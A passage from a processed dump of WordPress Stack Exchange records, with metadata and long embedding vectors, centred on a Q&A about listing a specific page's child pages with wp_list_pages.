wp_die(
'Cannot delete this user.',
'Error',
array( 'response' => 500, 'back_link' => true )
);
});
|
wordpress
|
{
"language": "en",
"length": 561,
"provenance": "stackexchange_00019.jsonl.gz:437005",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113907"
}
|
[
0.09307861328125,
0.0294189453125,
0.01849365234375,
-0.007843017578125,
0.042633056640625,
-0.055877685546875,
0.07086181640625,
-0.056488037109375,
0.00814056396484375,
0.048828125,
0.005279541015625,
-0.0196075439453125,
0.026275634765625,
-0.013885498046875,
-0.03228759765625,
-0.0009565353393554688,
0.01346588134765625,
-0.0170135498046875,
0.0169525146484375,
-0.011993408203125,
0.0043182373046875,
-0.017333984375,
0.03558349609375,
-0.018798828125,
0.0038509368896484375,
-0.005985260009765625,
0.048126220703125,
-0.0301055908203125,
0.033660888671875,
0.004299163818359375,
0.006946563720703125,
-0.038360595703125,
-0.027557373046875,
0.0223388671875,
0.04193115234375,
-0.0225982666015625,
0.01406097412109375,
0.01506805419921875,
0.06585693359375,
-0.0268096923828125,
0.0253448486328125,
-0.0099945068359375,
-0.09368896484375,
-0.003803253173828125,
-0.05419921875,
-0.0682373046875,
0.03546142578125,
0.005268096923828125,
0.0302276611328125,
-0.0005192756652832031,
0.0222015380859375,
0.01526641845703125,
0.0372314453125,
-0.03173828125,
-0.0047149658203125,
0.032257080078125,
-0.004150390625,
-0.0161590576171875,
0.051239013671875,
-0.01861572265625,
-0.038665771484375,
-0.0379638671875,
0.030303955078125,
-0.029388427734375,
0.005054473876953125,
-0.0171051025390625,
0.0255584716796875,
0.027099609375,
-0.051727294921875,
-0.03436279296875,
0.0217742919921875,
-0.007663726806640625,
0.01568603515625,
0.04345703125,
-0.03204345703125,
-0.044403076171875,
0.03546142578125,
0.03692626953125,
0.020172119140625,
0.01145172119140625,
-0.01009368896484375,
-0.00904083251953125,
-0.056854248046875,
0.01068115234375,
-0.0020351409912109375,
0.0382080078125,
-0.0163421630859375,
-0.0167388916015625,
-0.0131072998046875,
0.0061492919921875,
-0.0205078125,
-0.0285186767578125,
0.040069580078125,
0.0078277587890625,
-0.0308837890625,
-0.00860595703125,
0.0281829833984375,
0.057037353515625,
0.00927734375,
0.0202789306640625,
-0.00817108154296875,
-0.019683837890625,
-0.0183868408203125,
-0.02667236328125,
-0.013519287109375,
0.0472412109375,
-0.0032291412353515625,
0.01190185546875,
-0.0052947998046875,
0.017852783203125,
0.00238037109375,
-0.084228515625,
-0.01300811767578125,
-0.058013916015625,
0.005558013916015625,
0.08294677734375,
-0.004222869873046875,
-0.00028395652770996094,
0.0077362060546875,
0.020599365234375,
-0.002532958984375,
0.01285552978515625,
-0.0439453125,
-0.039398193359375,
0.00620269775390625,
-0.04840087890625,
-0.0271453857421875,
0.039947509765625,
-0.0006222724914550781,
0.0165252685546875,
-0.0201873779296875,
0.042022705078125,
0.0634765625,
-0.01285552978515625,
-0.017059326171875,
-0.01268768310546875,
0.006046295166015625,
-0.00034880638122558594,
-0.0248870849609375,
0.0251922607421875,
0.032562255859375,
-0.0609130859375,
-0.048614501953125,
0.0208892822265625,
0.0241546630859375,
0.04205322265625,
0.0208740234375,
-0.01535797119140625,
0.0117645263671875,
-0.01065826416015625,
-0.04302978515625,
-0.00571441650390625,
0.00444793701171875,
0.032073974609375,
-0.00865936279296875,
0.042755126953125,
0.0394287109375,
-0.00835418701171875,
-0.040557861328125,
-0.016845703125,
0.0357666015625,
-0.01448822021484375,
0.01261138916015625,
-0.028228759765625,
-0.04144287109375,
-0.002109527587890625,
-0.07794189453125,
-0.0136566162109375,
0.0254669189453125,
0.004322052001953125,
0.0108795166015625,
-0.00010180473327636719,
0.056427001953125,
0.01611328125,
-0.006244659423828125,
0.00717926025390625,
-0.0234222412109375,
0.043609619140625,
0.03802490234375,
-0.0225982666015625,
-0.008544921875,
-0.0380859375,
0.08221435546875,
-0.0172119140625,
-0.054351806640625,
0.00972747802734375,
0.00899505615234375,
0.036651611328125,
0.0230712890625,
0.00974273681640625,
0.05389404296875,
0.0214080810546875,
0.004055023193359375,
0.021484375,
-0.0176239013671875,
-0.06982421875,
0.016143798828125,
-0.0207977294921875,
-0.01580810546875,
0.041015625,
0.07098388671875,
-0.0080718994140625,
0.01448822021484375,
-0.04736328125,
-0.09124755859375,
0.01189422607421875,
-0.0323486328125,
0.03240966796875,
-0.0122833251953125,
0.0153045654296875,
0.021881103515625,
0.004642486572265625,
-0.0230560302734375,
0.0033779144287109375,
-0.00586700439453125,
0.01233673095703125,
-0.042236328125,
0.07354736328125,
0.02313232421875,
0.0760498046875,
0.0265960693359375,
-0.047698974609375,
0.037689208984375,
-0.068603515625,
0.0543212890625,
-0.01806640625,
-0.0070648193359375,
-0.02001953125,
0.04632568359375,
-0.02105712890625,
0.021331787109375,
0.04437255859375,
0.049591064453125,
0.0293426513671875,
-0.0245208740234375,
0.0011310577392578125,
-0.01971435546875,
-0.043853759765625,
-0.0165557861328125,
0.049041748046875,
0.0265350341796875,
0.035125732421875,
-0.009368896484375,
-0.0211639404296875,
0.0299835205078125,
-0.050872802734375,
0.01287078857421875,
-0.027252197265625,
-0.007205963134765625,
0.0496826171875,
0.00649261474609375,
0.019287109375,
0.00522613525390625,
-0.03717041015625,
-0.00746917724609375,
0.042388916015625,
-0.007358551025390625,
0.0367431640625,
0.01175689697265625,
-0.01520538330078125,
-0.01187896728515625,
-0.0032367706298828125,
0.01508331298828125,
-0.01331329345703125,
-0.0178375244140625,
-0.01052093505859375,
0.006103515625,
0.000728607177734375,
0.0155029296875,
-0.0374755859375,
0.01157379150390625,
-0.048675537109375,
-0.00873565673828125,
0.0003337860107421875,
0.05322265625,
-0.0263519287109375,
-0.0386962890625,
0.0043792724609375,
0.0262298583984375,
-0.00441741943359375,
-0.0172882080078125,
0.0224456787109375,
-0.001590728759765625,
0.001476287841796875,
-0.0263214111328125,
-0.0286407470703125,
0.0279541015625,
0.00327301025390625,
-0.0081634521484375,
-0.00763702392578125,
0.03778076171875,
0.028289794921875,
-0.01678466796875,
0.061004638671875,
-0.05621337890625,
-0.00720977783203125,
-0.0277099609375,
-0.038604736328125,
0.006389617919921875,
-0.0238494873046875,
0.05450439453125,
0.08111572265625,
0.0341796875,
-0.017303466796875,
-0.0021038055419921875,
0.01300811767578125,
-0.030426025390625,
0.00605010986328125,
-0.00247955322265625,
-0.007289886474609375,
-0.0222625732421875,
0.040985107421875,
0.0245361328125,
0.00832366943359375,
0.002658843994140625,
-0.029571533203125,
-0.0046844482421875,
0.0162353515625,
-0.0216827392578125,
0.01442718505859375,
-0.057525634765625,
-0.0496826171875,
0.021728515625,
0.0181732177734375,
-0.004119873046875,
0.01152801513671875,
0.034332275390625,
0.0279998779296875,
-0.0193634033203125,
0.003635406494140625,
0.007251739501953125,
-0.0178680419921875,
-0.0247802734375,
-0.0242767333984375,
0.0034275054931640625,
0.0027751922607421875,
0.01336669921875,
0.05133056640625,
0.0124664306640625,
-0.048614501953125,
0.00914764404296875,
0.0457763671875,
-0.0136260986328125,
0.00611114501953125,
-0.011383056640625,
0.00447845458984375,
0.043060302734375,
-0.0081329345703125,
0.01422882080078125,
0.0164031982421875,
0.0017986297607421875,
-0.01540374755859375,
0.0267791748046875,
-0.0157012939453125,
0.04071044921875,
-0.000507354736328125,
-0.056304931640625,
0.0005702972412109375,
0.03076171875,
-0.04754638671875,
0.0132293701171875,
0.00984954833984375,
-0.007442474365234375,
0.0247344970703125,
-0.0214691162109375,
-0.020477294921875,
0.03570556640625,
-0.0184478759765625,
0.04327392578125,
0.06402587890625,
-0.01947021484375,
0.048858642578125,
-0.04852294921875,
-0.01348876953125,
-0.003566741943359375,
0.005184173583984375,
0.033966064453125,
-0.0374755859375,
0.01139068603515625,
0.001987457275390625,
-0.0193634033203125,
0.011505126953125,
-0.04058837890625,
0.01447296142578125,
-0.031402587890625,
0.05535888671875,
0.0093231201171875,
0.03143310546875,
-0.058746337890625,
-0.046234130859375,
-0.03802490234375,
0.0892333984375,
-0.0645751953125,
-0.0017862319946289062,
-0.0010519027709960938,
0.006549835205078125,
-0.035614013671875,
-0.02655029296875,
-0.087646484375,
-0.0025177001953125,
-0.08074951171875,
-0.000362396240234375,
-0.0144805908203125,
-0.02362060546875,
-0.025390625,
-0.00949859619140625,
-0.034088134765625,
-0.045684814453125,
0.0244293212890625,
-0.01136016845703125,
0.0372314453125,
-0.026702880859375,
0.008270263671875,
-0.038665771484375,
0.0020904541015625,
-0.02642822265625,
-0.063720703125,
0.00225067138671875,
-0.033203125,
0.050262451171875,
0.0194854736328125,
-0.0014352798461914062,
-0.06207275390625,
0.0006437301635742188,
0.019287109375,
0.01129150390625,
-0.0014944076538085938,
-0.01922607421875,
0.033294677734375,
-0.0010738372802734375,
-0.00905609130859375,
-0.0063018798828125,
-0.00495147705078125,
-0.004581451416015625,
0.019287109375,
-0.01045989990234375,
-0.0538330078125,
-0.0263671875,
-0.00872039794921875,
-0.0217437744140625,
-0.044708251953125,
-0.057708740234375,
-0.004726409912109375,
0.035919189453125,
-0.0443115234375,
0.0439453125,
-0.055511474609375,
-0.035430908203125,
0.032989501953125,
-0.00345611572265625,
0.006374359130859375,
-0.011566162109375,
0.024322509765625,
0.00951385498046875,
-0.0227508544921875,
0.034881591796875,
0.01739501953125,
0.02093505859375,
-0.0037822723388671875,
0.0399169921875,
0.00566864013671875,
-0.00493621826171875,
0.00865936279296875,
-0.019683837890625,
0.006168365478515625,
0.0003495216369628906,
0.0087890625,
-0.0309295654296875,
-0.0771484375,
0.06219482421875,
-0.04217529296875,
0.00799560546875,
0.0037059783935546875,
0.01006317138671875,
-0.0399169921875,
0.00980377197265625,
0.0213623046875,
0.004085540771484375,
0.021728515625,
-0.0027065277099609375,
-0.0308074951171875,
0.005084991455078125,
-0.0623779296875,
0.0013666152954101562,
-0.021728515625,
0.01558685302734375,
-0.0167694091796875,
0.01149749755859375,
-0.00659942626953125,
-0.016143798828125,
-0.01153564453125,
-0.0156402587890625,
0.042266845703125,
-0.050994873046875,
-0.00959014892578125,
-0.006305694580078125,
-0.0176239013671875,
0.1278076171875,
0.01422882080078125,
-0.0406494140625,
0.006374359130859375,
-0.027923583984375,
0.00936126708984375,
0.00849151611328125,
0.00469207763671875,
0.036895751953125,
0.009063720703125,
-0.0059356689453125,
-0.00785064697265625,
-0.05340576171875,
0.0200958251953125,
-0.044830322265625,
-0.0005598068237304688,
0.0039825439453125,
-0.0010557174682617188,
0.00738525390625,
0.07720947265625,
-0.0328369140625,
0.0706787109375,
-0.0084686279296875,
0.04534912109375,
0.044464111328125,
-0.0098114013671875,
-0.00839996337890625,
0.06622314453125,
0.004413604736328125,
-0.0340576171875,
0.0192108154296875,
0.0034046173095703125,
0.0164642333984375,
0.0178680419921875,
0.0030517578125,
0.045867919921875,
0.0223541259765625,
-0.0219879150390625,
-0.023956298828125,
-0.0245513916015625,
0.057281494140625,
0.04779052734375,
-0.016387939453125,
-0.03839111328125,
-0.0220947265625,
0.0255279541015625,
-0.0011243820190429688,
-0.0027866363525390625,
0.018280029296875,
-0.050018310546875,
0.0022220611572265625,
0.055206298828125,
0.0138397216796875,
-0.055206298828125,
-0.064697265625,
-0.01410675048828125,
-0.0270233154296875,
-0.00928497314453125,
-0.016357421875,
0.01312255859375,
-0.0213165283203125,
-0.03497314453125,
0.028106689453125,
0.0086822509765625,
-0.0054931640625,
-0.03887939453125,
0.011016845703125,
-0.010986328125,
-0.00838470458984375,
0.05975341796875,
0.0098419189453125,
-0.033721923828125,
-0.037933349609375,
-0.041290283203125,
-0.02044677734375,
0.0278167724609375,
-0.0035419464111328125,
-0.0054473876953125,
-0.0035858154296875,
0.01125335693359375,
-0.00038623809814453125,
0.009490966796875,
0.0032196044921875,
-0.026580810546875,
0.051055908203125,
0.027801513671875,
0.042144775390625,
-0.0169525146484375,
0.03521728515625,
-0.00037932395935058594,
0.0450439453125,
0.0160064697265625,
0.0257110595703125,
0.01541900634765625,
-0.03778076171875,
0.0162506103515625,
-0.018035888671875,
-0.0142059326171875,
-0.054901123046875,
0.0236358642578125,
0.0131683349609375,
0.055389404296875,
-0.0119171142578125,
0.01015472412109375,
0.0272674560546875,
0.007030487060546875,
-0.01410675048828125,
-0.0079498291015625,
0.04547119140625,
0.00939178466796875,
0.005756378173828125,
-0.001216888427734375,
0.0426025390625,
-0.0230712890625,
0.007015228271484375,
-0.02435302734375,
-0.024139404296875,
-0.0001436471939086914,
0.0278472900390625,
-0.031768798828125,
0.04779052734375,
0.04644775390625,
0.013671875,
0.047271728515625,
-0.0002014636993408203,
0.0297088623046875,
0.01430511474609375,
-0.055023193359375,
-0.0263214111328125,
0.01465606689453125,
0.0300750732421875,
-0.01450347900390625,
0.013275146484375,
0.04522705078125,
-0.01384735107421875,
0.005710601806640625,
0.06756591796875,
0.042572021484375,
-0.07415771484375,
-0.00853729248046875,
-0.023162841796875,
-0.0191192626953125,
0.040435791015625,
0.00975799560546875,
-0.009490966796875,
-0.0184783935546875,
0.009368896484375,
-0.01058197021484375,
-0.01168060302734375,
0.005039215087890625,
0.00865936279296875,
-0.03155517578125,
-0.0129241943359375,
-0.022979736328125,
0.00020205974578857422,
0.0299224853515625,
0.00431060791015625,
-0.043701171875,
0.0165557861328125,
-0.01554107666015625,
0.0231781005859375,
0.033599853515625,
-0.0029239654541015625,
-0.08599853515625,
0.0168304443359375,
-0.010345458984375,
-0.019561767578125,
0.002349853515625,
0.0003345012664794922,
0.036163330078125,
0.02197265625,
0.010498046875,
0.003261566162109375,
-0.0127716064453125,
0.005771636962890625,
0.01076507568359375,
-0.031219482421875,
0.02447509765625,
-0.0208282470703125,
-0.018463134765625,
0.0091094970703125,
-0.0238494873046875,
-0.037017822265625,
-0.0017366409301757812,
-0.0159759521484375,
0.04766845703125,
-0.0281524658203125,
-0.00698089599609375,
0.0150604248046875,
-0.0005517005920410156,
-0.01123809814453125,
-0.00402069091796875,
-0.006946563720703125,
-0.0821533203125,
-0.06671142578125,
-0.007568359375,
-0.0750732421875,
0.0248870849609375,
-0.02301025390625,
-0.054595947265625,
0.036163330078125,
-0.023101806640625,
0.0257720947265625,
0.00850677490234375,
0.010009765625,
-0.002033233642578125,
-0.0005841255187988281,
-0.026031494140625,
0.04962158203125,
-0.01003265380859375,
0.07049560546875,
-0.032318115234375,
-0.006961822509765625,
0.03271484375,
0.02099609375,
0.07147216796875,
0.0300445556640625,
-0.034149169921875,
-0.00653076171875,
0.010406494140625,
-0.01412200927734375,
-0.044403076171875,
0.07489013671875,
0.009429931640625,
0.0025196075439453125,
0.00482940673828125,
0.0213775634765625,
0.055572509765625,
-0.0426025390625,
-0.044036865234375,
0.023529052734375,
-0.00809478759765625,
-0.00930023193359375,
-0.0004150867462158203,
0.054840087890625,
-0.04052734375,
0.0004050731658935547,
0.03448486328125,
-0.028717041015625,
0.0120849609375,
0.0018177032470703125,
0.0018796920776367188,
-0.025787353515625,
-0.0220794677734375,
-0.0170135498046875,
0.034088134765625,
0.0049285888671875,
0.01024627685546875,
0.07196044921875,
0.0251922607421875,
-0.0103912353515625,
0.0236663818359375,
0.0172882080078125,
0.016143798828125,
-0.010162353515625,
0.035064697265625,
0.0640869140625,
0.0267333984375,
-0.004390716552734375,
0.00799560546875,
0.050262451171875,
0.0699462890625,
-0.0391845703125,
-0.019500732421875,
0.0172882080078125,
0.01175689697265625,
0.00872802734375,
0.037322998046875,
0.03546142578125,
0.06097412109375,
0.0474853515625,
-0.0478515625,
0.020416259765625,
0.0217437744140625,
-0.01116943359375,
-0.00927734375,
0.0198211669921875,
-0.0162353515625,
0.0206146240234375,
-0.03082275390625,
-0.0077056884765625,
0.0006995201110839844,
0.02716064453125,
0.040618896484375,
0.0088958740234375,
0.0450439453125,
-0.0160675048828125,
-0.0188140869140625,
0.035125732421875,
0.0014591217041015625,
0.013824462890625,
-0.0243377685546875,
-0.03302001953125,
0.041107177734375,
0.01175689697265625,
-0.0170440673828125,
0.0238189697265625,
0.0298919677734375,
0.01151275634765625,
-0.055816650390625,
-0.023529052734375,
0.0216064453125,
-0.039093017578125,
0.0115814208984375,
-0.01442718505859375,
0.0183258056640625,
0.0204010009765625,
0.0005941390991210938,
-0.029937744140625,
0.0217132568359375,
0.03924560546875,
0.017791748046875,
-0.004055023193359375,
0.00716400146484375,
-0.00435638427734375,
0.0328369140625,
-0.025726318359375,
-0.007335662841796875,
0.029754638671875,
-0.053985595703125,
-0.019012451171875,
-0.01763916015625,
-0.02520751953125,
0.01428985595703125,
0.0267791748046875,
-0.0179595947265625,
0.0340576171875,
0.0430908203125,
-0.023529052734375,
0.00676727294921875,
-0.01000213623046875,
0.04180908203125,
-0.001689910888671875,
-0.00388336181640625,
0.02374267578125,
-0.01342010498046875,
-0.01259613037109375,
0.0179595947265625,
0.04266357421875,
0.0038318634033203125,
0.0180206298828125,
-0.00453948974609375,
0.01309967041015625,
-0.04046630859375,
0.026458740234375,
-0.050048828125,
-0.03509521484375,
0.0235748291015625,
-0.018890380859375,
-0.017669677734375,
0.015716552734375,
-0.04730224609375,
0.00673675537109375,
0.0190887451171875,
-0.01441192626953125,
0.00994110107421875,
-0.004207611083984375,
0.017822265625,
0.0025882720947265625,
0.02374267578125,
-0.024658203125,
-0.01971435546875,
-0.0227203369140625,
0.006877899169921875,
0.0222320556640625,
0.005519866943359375,
-0.0465087890625,
0.01220703125,
-0.002017974853515625,
-0.054962158203125,
0.01053619384765625,
-0.039031982421875,
0.01055908203125,
0.031890869140625,
0.039459228515625,
0.0197601318359375,
-0.037353515625,
-0.033782958984375,
-0.0006155967712402344,
0.0005035400390625,
-0.0401611328125,
-0.01593017578125,
-0.01537322998046875,
-0.0168609619140625,
-0.0205078125,
0.018341064453125,
-0.0139617919921875,
-0.0002906322479248047,
-0.028533935546875,
0.0021114349365234375,
0.0098419189453125,
0.009521484375,
-0.0246124267578125,
-0.01253509521484375,
-0.035064697265625,
0.0012502670288085938,
-0.031585693359375,
-0.077880859375,
-0.07879638671875,
0.0190582275390625,
0.021881103515625,
0.036712646484375,
-0.09759521484375,
0.06390380859375,
-0.004573822021484375,
0.033721923828125,
-0.005279541015625,
-0.01435089111328125,
-0.0095367431640625,
0.0167388916015625,
-0.0283966064453125,
-0.031982421875,
-0.04705810546875,
0.01377105712890625,
-0.034942626953125,
-0.009552001953125,
0.016204833984375,
0.0258941650390625,
-0.0033092498779296875,
-0.00579833984375,
-0.054473876953125,
0.0413818359375,
-0.091064453125,
-0.00946044921875,
0.01151275634765625,
0.0035152435302734375,
-0.00807952880859375,
-0.0533447265625,
-0.00937652587890625,
-0.01483154296875,
0.00902557373046875,
0.00966644287109375,
0.02691650390625,
0.0450439453125,
-0.0153961181640625,
-0.0780029296875,
0.026824951171875,
-0.005584716796875,
-0.04315185546875,
-0.0092926025390625,
0.017730712890625,
-0.00978851318359375,
-0.0235595703125,
0.0009584426879882812,
-0.027618408203125,
0.003391265869140625,
0.004764556884765625,
0.00872802734375,
-0.01125335693359375,
0.0384521484375,
-0.004123687744140625,
-0.04937744140625,
0.00017058849334716797,
-0.00037741661071777344,
-0.005443572998046875,
0.02587890625,
-0.0032024383544921875,
0.052154541015625,
0.067626953125,
0.0059051513671875,
0.05291748046875,
0.0019474029541015625,
-0.08563232421875,
-0.013641357421875,
0.004123687744140625,
-0.03662109375,
-0.0025959014892578125,
0.06964111328125,
0.06878662109375,
0.0250244140625,
-0.026947021484375,
-0.0528564453125,
-0.05084228515625,
-0.0032596588134765625,
-0.023345947265625,
0.008819580078125,
-0.051300048828125,
0.0213165283203125,
-0.0218353271484375,
-0.0047454833984375,
-0.0281829833984375,
-0.0167083740234375,
-0.03875732421875,
-0.0006589889526367188,
0.0172576904296875,
0.0137939453125,
-0.0033550262451171875,
0.023590087890625,
0.005462646484375,
-0.023468017578125,
-0.04913330078125,
0.00214385986328125,
-0.00876617431640625,
-0.04754638671875,
-0.0149993896484375,
-0.01763916015625,
-0.01067352294921875,
-0.0162811279296875,
0.00821685791015625,
-0.00760650634765625,
0.0008287429809570312,
-0.004909515380859375,
-0.0009293556213378906,
-0.0229339599609375,
0.024810791015625,
0.0127105712890625,
0.025299072265625,
-0.0172119140625,
0.061981201171875,
0.040863037109375,
0.0276947021484375,
0.005725860595703125,
0.00601959228515625,
-0.02685546875,
0.0491943359375,
0.055084228515625,
-0.04327392578125,
0.078857421875,
-0.0102996826171875,
-0.01446533203125,
-0.017303466796875,
-0.01264190673828125,
-0.06280517578125,
0.054931640625,
-0.0199432373046875,
0.00952911376953125,
0.039215087890625
] |
729fc06e60a7123188d4e126d6fafea5cb450e21
|
Wordpress Stackexchange
Q: List child pages of a specific page I'm looking for a snippit/function that will list the child pages of a specific page (I guess by page ID) but not necessarily when you are on that page or a child of that page. The parent page (Parents Area) and its child pages are listed below:
Parents Area
- Term Dates
- Calendar
- School Blog
- Letters to Parents
- Attendance
I want to be able to be on any page of the website, specifically within single posts and post archives but be able to list out just the children of the parent page "Parents Area".
A: To list subpages of a particular page, use wp_list_pages with child_of argument.
$parent_page_id = 42;
wp_list_pages( array(
'child_of' => $parent_page_id
) );
|
Q: List child pages of a specific page I'm looking for a snippit/function that will list the child pages of a specific page (I guess by page ID) but not necessarily when you are on that page or a child of that page. The parent page (Parents Area) and its child pages are listed below:
Parents Area
- Term Dates
- Calendar
- School Blog
- Letters to Parents
- Attendance
I want to be able to be on any page of the website, specifically within single posts and post archives but be able to list out just the children of the parent page "Parents Area".
A: To list subpages of a particular page, use wp_list_pages with child_of argument.
$parent_page_id = 42;
wp_list_pages( array(
'child_of' => $parent_page_id
) );
A: Maybe I didn't quite get what was asked for, but what's wrong in using wp_list_pages?
Here is a sample code (which most probably has to be customized and adapted to fit your needs):
<ul>
<?php
$args = array(
'depth' => 1,
'include' => YOUR PAGE ID HERE,
'title_li' => '',
);
wp_list_pages($args);
$args['child_of'] = $args['include'];
unset($args['include']);
wp_list_pages($args);
?>
</ul>
Maybe you have to adapt the HTML list as well, if you want a hierarchical list of two levels etc.
|
wordpress
|
{
"language": "en",
"length": 209,
"provenance": "stackexchange_00019.jsonl.gz:437007",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113914"
}
|
[
0.0231781005859375,
-0.00732421875,
-0.0220184326171875,
0.005649566650390625,
-0.0079803466796875,
-0.035675048828125,
0.0435791015625,
-0.00943756103515625,
0.0007648468017578125,
-0.004817962646484375,
-0.0271759033203125,
0.006862640380859375,
-0.050262451171875,
-0.03082275390625,
-0.003204345703125,
-0.05218505859375,
0.042877197265625,
-0.029876708984375,
0.00800323486328125,
0.0017671585083007812,
-0.003604888916015625,
0.022247314453125,
0.0243682861328125,
0.0467529296875,
0.03912353515625,
-0.03485107421875,
-0.005817413330078125,
0.005214691162109375,
0.01009368896484375,
-0.017578125,
0.01580810546875,
0.017120361328125,
0.006488800048828125,
-0.01218414306640625,
0.05279541015625,
-0.01708984375,
-0.0052642822265625,
0.0029544830322265625,
0.01995849609375,
0.028411865234375,
-0.006824493408203125,
0.007526397705078125,
-0.005626678466796875,
0.0107269287109375,
-0.032073974609375,
-0.049896240234375,
0.003143310546875,
-0.0133819580078125,
0.005489349365234375,
-0.0284271240234375,
0.037841796875,
0.01102447509765625,
0.033172607421875,
0.007038116455078125,
-0.028900146484375,
-0.0025920867919921875,
0.043487548828125,
0.005313873291015625,
0.026947021484375,
-0.060333251953125,
-0.040313720703125,
0.0357666015625,
0.024871826171875,
0.0338134765625,
-0.0161895751953125,
-0.00171661376953125,
-0.063720703125,
0.0178680419921875,
-0.0113983154296875,
-0.035797119140625,
0.011199951171875,
-0.0274200439453125,
0.018798828125,
-0.02740478515625,
-0.001323699951171875,
-0.020294189453125,
0.00048160552978515625,
-0.0026988983154296875,
-0.00490570068359375,
0.01319122314453125,
-0.051239013671875,
-0.0014524459838867188,
-0.1282958984375,
0.010040283203125,
0.003749847412109375,
0.0263519287109375,
-0.032379150390625,
-0.007305145263671875,
-0.05224609375,
-0.00777435302734375,
-0.039520263671875,
-0.035308837890625,
0.006732940673828125,
-0.00971221923828125,
-0.0255889892578125,
-0.0028820037841796875,
0.06494140625,
0.09820556640625,
-0.0241241455078125,
-0.020965576171875,
-0.003692626953125,
-0.034576416015625,
-0.020538330078125,
-0.04827880859375,
0.035308837890625,
0.0625,
0.0030803680419921875,
0.0416259765625,
0.066650390625,
0.0138702392578125,
0.0233154296875,
0.02734375,
0.0266265869140625,
-0.0176239013671875,
-0.0531005859375,
0.00738525390625,
0.0141754150390625,
-0.044097900390625,
0.017333984375,
-0.03851318359375,
0.00577545166015625,
0.00893402099609375,
0.002277374267578125,
0.0235137939453125,
-0.00848388671875,
0.004985809326171875,
-0.0260162353515625,
-0.0313720703125,
0.0305328369140625,
0.02301025390625,
-0.05780029296875,
-0.006900787353515625,
0.045989990234375,
0.00937652587890625,
0.01548004150390625,
-0.0111846923828125,
-0.007843017578125,
-0.0257110595703125,
0.0123291015625,
-0.0163726806640625,
0.02154541015625,
-0.042755126953125,
0.00443267822265625,
0.0145111083984375,
-0.0032558441162109375,
-0.005565643310546875,
0.00038123130798339844,
0.038482666015625,
-0.0012197494506835938,
-0.01236724853515625,
0.0213470458984375,
-0.01229095458984375,
0.0372314453125,
-0.0178680419921875,
-0.02581787109375,
-0.06622314453125,
-0.0192108154296875,
-0.03662109375,
0.0238494873046875,
-0.044891357421875,
0.022674560546875,
0.01702880859375,
0.03460693359375,
-3.5762786865234375e-7,
-0.01529693603515625,
-0.0229339599609375,
-0.061920166015625,
-0.02850341796875,
0.018096923828125,
-0.039947509765625,
0.05828857421875,
-0.06756591796875,
-0.022003173828125,
-0.0018596649169921875,
0.016326904296875,
0.036285400390625,
-0.0281829833984375,
0.005710601806640625,
0.0225982666015625,
0.061126708984375,
0.027984619140625,
-0.021240234375,
-0.0223846435546875,
0.04693603515625,
-0.032989501953125,
0.031402587890625,
0.005092620849609375,
0.02740478515625,
-0.0183258056640625,
-0.0028285980224609375,
0.0333251953125,
0.047576904296875,
-0.04412841796875,
0.0210418701171875,
0.00839996337890625,
0.00661468505859375,
-0.036468505859375,
0.010223388671875,
-0.014312744140625,
-0.0023784637451171875,
0.00726318359375,
-0.0116119384765625,
0.007579803466796875,
0.025115966796875,
-0.0028095245361328125,
0.002101898193359375,
-0.007595062255859375,
0.00787353515625,
0.036895751953125,
-0.0022258758544921875,
0.006259918212890625,
0.004268646240234375,
-0.0022525787353515625,
-0.085205078125,
-0.06781005859375,
0.04620361328125,
0.01360321044921875,
-0.007843017578125,
0.01488494873046875,
-0.004329681396484375,
0.0038738250732421875,
0.0275421142578125,
-0.019378662109375,
-0.0017423629760742188,
0.07269287109375,
-0.005947113037109375,
-0.03546142578125,
-0.0219879150390625,
0.0338134765625,
0.026824951171875,
-0.1063232421875,
0.046234130859375,
0.047943115234375,
0.053253173828125,
-0.039215087890625,
-0.021820068359375,
-0.024322509765625,
0.004364013671875,
-0.00865936279296875,
0.039642333984375,
0.04229736328125,
0.0161590576171875,
0.020477294921875,
0.005496978759765625,
0.036163330078125,
-0.07421875,
-0.01727294921875,
-0.015899658203125,
0.00266265869140625,
0.057708740234375,
0.0020046234130859375,
0.007785797119140625,
0.00983428955078125,
-0.0110321044921875,
-0.005413055419921875,
0.036590576171875,
-0.006988525390625,
0.007465362548828125,
-0.0240936279296875,
0.006084442138671875,
0.0007915496826171875,
-0.0058135986328125,
-0.0165863037109375,
-0.006229400634765625,
-0.00508880615234375,
-0.003082275390625,
0.030426025390625,
0.01959228515625,
0.00286102294921875,
-0.030975341796875,
-0.01345062255859375,
-0.003650665283203125,
0.00461578369140625,
0.030242919921875,
-0.03472900390625,
-0.042999267578125,
-0.02679443359375,
0.0019311904907226562,
0.00644683837890625,
-0.00579833984375,
0.0209197998046875,
0.044647216796875,
0.033477783203125,
-0.0064697265625,
-0.007740020751953125,
-0.0243072509765625,
0.017303466796875,
0.043731689453125,
-0.050506591796875,
-0.0015583038330078125,
0.0213623046875,
0.059783935546875,
-0.0122528076171875,
-0.0027618408203125,
-0.007678985595703125,
0.0288543701171875,
0.047149658203125,
-0.02276611328125,
0.04217529296875,
-0.0271759033203125,
0.0252838134765625,
0.04217529296875,
-0.02239990234375,
0.009429931640625,
0.01000213623046875,
-0.054656982421875,
0.01116943359375,
0.006847381591796875,
0.005664825439453125,
-0.0316162109375,
0.002471923828125,
0.057830810546875,
0.01629638671875,
0.06903076171875,
-0.028656005859375,
-0.048126220703125,
0.01355743408203125,
0.02093505859375,
-0.04150390625,
-0.059783935546875,
0.0014505386352539062,
-0.07843017578125,
-0.0198822021484375,
-0.01221466064453125,
-0.03533935546875,
0.002429962158203125,
0.017333984375,
0.01013946533203125,
-0.02056884765625,
-0.004642486572265625,
-0.062408447265625,
-0.038543701171875,
-0.0733642578125,
0.0157623291015625,
-0.0211029052734375,
0.0190277099609375,
-0.0024738311767578125,
0.054534912109375,
0.003509521484375,
-0.076171875,
-0.045562744140625,
0.059600830078125,
-0.01528167724609375,
-0.028594970703125,
-0.0073394775390625,
-0.0196380615234375,
-0.01129913330078125,
0.01161956787109375,
-0.00897216796875,
-0.01496124267578125,
0.01385498046875,
-0.023223876953125,
-0.0227508544921875,
0.0143280029296875,
0.0014400482177734375,
-0.00963592529296875,
0.02471923828125,
0.03717041015625,
0.0117034912109375,
-0.0147705078125,
-0.0244293212890625,
-0.0282745361328125,
-0.055511474609375,
0.0147552490234375,
0.042236328125,
-0.0053558349609375,
-0.04132080078125,
0.0089263916015625,
0.0216064453125,
0.017120361328125,
0.03155517578125,
-0.005279541015625,
0.0027923583984375,
-0.000858306884765625,
0.004123687744140625,
